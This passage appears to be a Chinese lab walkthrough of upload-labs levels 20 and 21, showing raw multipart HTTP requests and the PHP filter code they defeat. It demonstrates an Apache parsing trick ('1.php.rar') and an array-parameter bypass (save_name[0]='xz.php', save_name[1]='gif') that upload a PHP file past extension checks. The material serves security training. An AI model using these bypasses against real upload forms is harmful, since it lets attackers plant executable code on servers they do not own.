Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.21.135:8123/Pass-20/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary7CfGfgBPFmA65LPV
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundary7CfGfgBPFmA65LPV
Content-Disposition: form-data; name="save_name"

1.php.rar
------WebKitFormBoundary7CfGfgBPFmA65LPV
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7CfGfgBPFmA65LPV--

0x21 数组绕过 + apache2解析特性

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');    
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }// save_name可以是数组

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//file 的第一个  +   file  的最后一个
            $temp_file = $_FILES['upload_file']['tmp_name'];  //temp_file 
            $img_path = UPLOAD_PATH . '/' .$file_name;             // upload/file_name 
            if (move_uploaded_file($temp_file, $img_path)) {  //下面就是移动了
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

explode()

php > $str = 'one,two,three,four';
php > print_r(explode(',',$str));
Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
)

reset()

echo reset($str) . "<br>"; // 把内部指针移动到数组的首个元素

payload

POST /Pass-21/index.php HTTP/1.1
Host: 192.168.21.135:8123
Content-Length: 518
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.21.135:8123
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV2BzvDiTmcwIbW5F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4115.0 Safari/537.36 Edg/84.0.488.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.21.135:8123/Pass-21/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryV2BzvDiTmcwIbW5F
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundaryV2BzvDiTmcwIbW5F
Content-Disposition: form-data; name="save_name[0]"

xz.php
------WebKitFormBoundaryV2BzvDiTmcwIbW5F
Content-Disposition: form-data; name="save_name[1]"

gif
------WebKitFormBoundaryV2BzvDiTmcwIbW5F
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryV2BzvDiTmcwIbW5F--

index

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